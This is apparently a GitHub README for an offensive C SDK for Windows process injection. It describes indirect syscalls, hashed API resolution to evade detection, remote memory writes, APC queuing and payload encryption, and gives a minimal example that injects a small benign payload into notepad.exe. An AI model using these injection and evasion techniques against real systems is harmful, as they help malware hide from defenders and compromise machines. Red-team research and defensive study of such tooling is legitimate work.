Wraith SDK

x64 Windows process manipulation SDK for offensive tooling, no CRT, no external dependencies.

Documentation · Getting Started · Contributing

---

Wraith is a set of standalone static libraries written in C that offensive tools link against. It delivers low-level primitives for process enumeration, remote memory staging, thread control, indirect syscall dispatch, and payload encryption, with no C runtime dependency and no high-level API traces in the linked binary.

The indirect syscall backend routes the syscall instruction through a gadget inside ntdll.dll rather than the binary's own .text section. API resolution uses a PEB/EAT walk with 32-bit hash identifiers instead of GetProcAddress.

---

Libraries

Library	Purpose
wraith_syscalls	SW3-style indirect syscall stubs, 20 Zw* functions
wraith_evasion	Dynamic function resolution via PEB and EAT walk
wraith_process	Process enumeration, handle operations, inspection, token
wraith_memory	Virtual memory alloc / read / write / protect / section map
wraith_thread	Thread enumeration, context manipulation, APC queuing
wraith_pe	In-memory PE parser, headers, sections, exports, file I/O
wraith_payload	Payload encoding and encryption primitives
wraith_strategies	Injection wrappers, classic, RWX (more in progress)

---

Prerequisites

• Windows 10/11 x64
• LLVM/Clang 17+
• Ninja
• CMake 3.20+

Optional: Visual Studio 2022 (for IDE integration).

---

Build

cd build
ninja

Output libraries land in build/:

wraith_syscalls.lib   wraith_evasion.lib   wraith_pe.lib
wraith_thread.lib     wraith_process.lib   wraith_memory.lib
wraith_payload.lib    wraith_strategies.lib

---

Tests

.\tests\test_syscalls.exe    # 50  assertions, indirect syscall backend
.\tests\test_thread.exe      # 19  assertions, thread pillar
.\tests\test_pe.exe          # 41  assertions, PE parser
.\tests\test_process.exe     # 19  assertions, process pillar
.\tests\test_memory.exe      # 21  assertions, memory pillar
.\tests\test_payload.exe     #  3  assertions, payload XOR

All 153 assertions must pass on an unmodified build.

---

Quick Start

CMake

cmake_minimum_required(VERSION 3.20)
project(my_tool C)

set(WRAITH_ROOT "C:/path/to/wraith")

include_directories("${WRAITH_ROOT}/include")
link_directories("${WRAITH_ROOT}/build")

add_executable(my_tool main.c)

# Link only what you use. Most-dependent last.
target_link_libraries(my_tool PRIVATE
    wraith_process
    wraith_memory
    wraith_thread
    wraith_payload
    wraith_pe
    wraith_evasion
    wraith_syscalls
    kernel32
    ntdll
)

Visual Studio (MSVC)

Wraith's .lib files are built with Clang but follow the standard x64 ABI, MSVC can link them directly.

Right-click project → Properties (set Configuration: All / Platform: x64):

Property page	Field	Value
C/C++ → General	Additional Include Directories	<wraith_root>\include
Linker → General	Additional Library Directories	<wraith_root>\build
Linker → Input	Additional Dependencies	wraith_process.lib; wraith_memory.lib; wraith_thread.lib; wraith_payload.lib; wraith_pe.lib; wraith_evasion.lib; wraith_syscalls.lib; ntdll.lib

kernel32.lib is already linked by default in MSVC console projects.

Minimal example

#include <windows.h>
#include <stdio.h>
#include "wraith.h"

int main(void) {
    // Initialise the indirect syscall backend before any memory operations.
    W_RESULT r = w_sc_init();
    if (W_FAIL(r)) return 1;

    W_PROCESS_LIST list = {0};
    r = w_enum_processes(&list);
    if (W_FAIL(r)) return 1;
    printf("Found %lu processes\n", list.count);

    W_PROCESS_ENTRY entry = {0};
    r = w_find_by_name(&list, L"notepad.exe", &entry);
    w_free_process_list(&list);
    if (W_FAIL(r)) return 1;

    HANDLE hProc = NULL;
    r = w_open_process(entry.pid, PROCESS_ALL_ACCESS, &hProc);
    if (W_FAIL(r)) return 1;

    PVOID remote = NULL;
    r = w_alloc(hProc, 0x1000, &remote);
    if (W_FAIL(r)) { w_close_handle(hProc); return 1; }

    BYTE payload[] = {0x90, 0x90, 0xC3};
    static const BYTE key[] = {0xDE, 0xAD, 0xBE, 0xEF};
    w_xor_key(payload, sizeof(payload), key, sizeof(key));
    w_xor_key(payload, sizeof(payload), key, sizeof(key));

    r = w_write_exec(hProc, remote, payload, sizeof(payload));
    if (W_FAIL(r)) w_free(hProc, remote);

    w_close_handle(hProc);
    return W_OK(r) ? 0 : 1;
}

---

Releases

Pre-built library archives are attached to each GitHub Release:

Asset	Contents
wraith-libs-vX.Y.Z.zip	All .lib files, link without building from source
Source code (zip/tar.gz)	Auto-generated by GitHub

---

Documentation

Full API reference, technique breakdowns, and integration guides:

https://cyber.sebafvs.com/tools/wraith

---

Contributing

See the contribution guide for areas that need work and the coding conventions to follow.

---

License

MIT + Security Research Disclaimer, use freely, credit appreciated, author not responsible for misuse.

---

Built by @sebafvs